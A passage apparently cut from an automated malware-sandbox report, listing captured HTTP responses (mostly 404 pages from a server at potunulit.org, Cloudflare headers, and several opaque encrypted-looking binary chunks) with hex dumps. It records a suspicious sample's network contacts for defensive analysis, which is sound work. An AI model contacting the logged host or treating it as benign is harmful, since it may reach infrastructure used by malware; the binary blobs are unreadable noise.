65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Clfutor38b0Uu0PtjOROL6pdUJXFXzmiCjRHNnfpUgdzL5zAlxNaWTYu7W8JPS%2Fhy8eZd6RdEMOA69YupdWgmxt6HcnnBtQTcC0k%2F5J03uUzNPps0Vo0t0LIMWHhmrnh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5350358311a47-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 49 c0 5f 88 1a 85 a2 4e fb 79 be 3a 4a 4e 32 e2 28 01 7c 89 0d 0a Data Ascii: 27Uys/~(`:I_Ny:JN2(\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tpiSwl5flbcXyWF0WpB7b0eUtEWqHgB3wwKv85QrDCmzVDyY%2BsTY0z1R9wVadKDkZIvOgdNncVVg6OII2GjLDM9ej5VdsH7T070YMnRyBDxbRJyY4mVgNmGm1ShfzInS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce535125fe41c1e-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xORiMzTIaOAsawpJZ4xUjhMoUL6jMgrk62h6FFogmYZPeqnL%2BEqQbQ%2F9dmBTz3VSKNFemAsrLHceE7Vlmg%2FNh0q9WViaMS4E2e40gxNN%2FubK00lxLkLfV7TVs1GzgaOU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5351399351c1e-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 9a 1d d8 47 c7 fb 19 ed 2a fe 27 0a 5d 3b bf 64 11 6d 80 5c 67 0e 61 d4 0d 0a Data Ascii: 2cUys/~(`:G*'];dm\ga
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 28 May 2023 08:43:01 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EDPa8uXaej8S0PfZEkUywYjOxgzx1%2BJNsRYUoQy8MFgL4RcyaQ5%2Bqf3YPwokO4T%2B1JHD%2B%2BOuQPPt%2BYsikiWVX43iu%2FSPiwCpJNfI9LDIX7Asb15OFUWQbHb80l2pTYLR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5352b08cf6901-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vJVLYPVxWFTH8J616XjEAKrdlLWO9rQReVdI4JeLN1HnbunmWAVid8aK0i74EJ174oAHeyxnBN94pKNHyISXlbj18R5uLhyJ9kIUR2l86SeqXZ3Xesh81Jjvgs6EyJud"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5352c4a296901-FRAalt-svc: h3=":443"; ma=86400Data Raw: 33 37 61 66 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 fd 05 9c 5b e4 9a 8a 32 48 ca 71 fe 94 59 ad 3d 0f cb 0e 1c 60 67 40 34 9c 7f 92 bf d5 a9 ab fd ad a4 6f 8b 34 81 cf 8a c8 b0 5d f2 3b ab c9 30 6a bc 20 b1 f3 f8 a5 e6 56 4b 78 13 b5 20 43 8d 6d 90 5f 68 ae 68 d5 9b 18 5d 5d 95 9e cb 81 1e bf 6c 13 d9 75 bc c0 84 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 9b 78 d4 77 d7 07 53 53 fa cb 1f 9e fd 09 50 2a ee 8c 8a 7b 7e 09 fd ff 78 c5 73 db c4 0d 13 13 86 50 e1 92 24 18 4f c5 03 c1 c1 a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 da c5 96 be 21 51 61 ae 7d 32 7c 8a 28 c8 c8 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 9f b2 ee 0e c0 eb 7e 71 eb 40 db 1a 58 29 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 bb 1a b9 ae e3 cc 23 92 67 0e 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 2b f8 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 1e ff 9d ab 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d 21 d5 8e 82 11 e8 e4 1f 12 ab 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 19 70 9a a2 ce 57 a3 08 45 a1 1f d4 3c 62 91 9c 37 06 f1 2c 0e a4 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 4a e3 96 0c 06 1a 50 6d 43 fc 0b 8a 8b e1 a2 54 d7 9c 3c c2 e0 2b c7 be bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b a3 e3 a2 bc 5b 6f e3 e3 1c eb 18 f5 52 48 44 0a 96 4d f1 e7 17 3f fe e9 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6c 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c Data Ascii: 37af`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG[2HqY=`g@4o4];0j VKx Cm_hh]]lu3Ob>!ZC:>xwSSP{~xs
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7aS%2F5EIvB%2FBpSEAl4bALpEVmoLai0w6iw1hn5ntIoO973tF8H%2BHZ761WIVAqXUhmHitxM%2FSFeEMGu1UHoo18vtarBw%2Fh10qz9BI3UVf2cOJhE5t4rti5RMVhkKkMnv04"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5352f5ce66901-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zLAT1a0h2kX2gyn38mFg26iVfbQJE9Pvt321rUfoSUO5QJ%2FF5XIjtBpC%2B21OjtcA2fkhspTMfL7UKwXFoQIJultt%2FsObCxibPjOvbr0ieDPaLrgsEvq4pqUi7vDVKmcn"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce535304db96901-FRAalt-svc: h3=":443"; ma=86400Data Raw: 34 63 37 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 fd 05 9c 5b e4 9a 8a 32 48 ca 71 fe 94 59 ad 3d 0f cb 0e 1c 60 67 40 34 9c 7f 92 bf d5 a9 ab fd ad a4 6f 8b 34 81 cf 8a c8 b0 5d f2 3b ab c9 30 6a bc 20 b1 f3 f8 a5 e6 56 4b 78 13 b5 20 43 8d 6d 90 5f 68 ae 68 d5 9b 18 5d 5d 95 9e cb 81 1e bf 6c 13 d9 75 bc c0 84 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 9b 78 d4 77 d7 07 53 53 fa cb 1f 9e fd 09 50 2a ee 8c 8a 7b 7e 09 fd ff 78 c5 73 db c4 0d 13 13 86 50 e1 92 24 18 4f c5 03 c1 c1 a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 da c5 96 be 21 51 61 ae 7d 32 7c 8a 28 c8 c8 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 9f b2 ee 0e c0 eb 7e 71 eb 40 db 1a 58 29 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 bb 1a b9 ae e3 cc 23 92 67 0e 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 2b f8 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 1e ff 9d ab 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d 21 d5 8e 82 11 e8 e4 1f 12 ab 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 19 70 9a a2 ce 57 a3 08 45 a1 1f d4 3c 62 91 9c 37 06 f1 2c 0e a4 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 4a e3 96 0c 06 1a 50 6d 43 fc 0b 8a 8b e1 a2 54 d7 9c 3c c2 e0 2b c7 be bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b a3 e3 a2 bc 5b 6f e3 e3 1c eb 18 f5 52 48 44 0a 96 4d f1 e7 17 3f fe e9 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6c 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea Data Ascii: 4c7`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG[2HqY=`g@4o4];0j VKx Cm_hh]]lu3Ob>!ZC:>xwSSP{~xsP$O
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jHGlEvJ6W4sarCqmhATE77tIP954SXVezQ8OeBWl18%2Fg9QO5BBvkLoYB828U3Hx8DRrxsEJHukSZchziuhd5IaR62lXqA08aKF11RJLkASNU5XrcWTDO5YaniIY%2BqrBD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce535326fe46901-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BaDtwb974HnQFaTwEb5%2Fc7Z7hqkpf3ybp6Y4Kcw4Yy4FrYdmmm4HAX4CYMxtCT6G7fKez3FA6YM3sLEWJ%2FaEyYpvxQFD4se9FBm8mRpyKQ7O0DFNrWziXTJ39hbyM3Iq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5353348ca6901-FRAalt-svc: h3=":443"; ma=86400Data Raw: 33 31 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 01 d4 51 d6 fa 01 a1 67 f2 25 48 17 32 f7 29 10 69 9c 17 20 05 7d d4 b5 ca ac dd 34 0d 0a Data Ascii: 31Uys/~(u:RQg%H2)i }4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:43:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sRWn3wxWjCcIJoB0NgLNGlepo%2FGVB7CxjTVMHooK8cgtIfj55lhrXK5q5g8S6pCE0%2BAwi9236XJzyEpIyVDJBDMGEtmQUKcO1x44psxAEFmFD%2FFIYebe3aJgQafRRYwq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce53539df28bbc7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 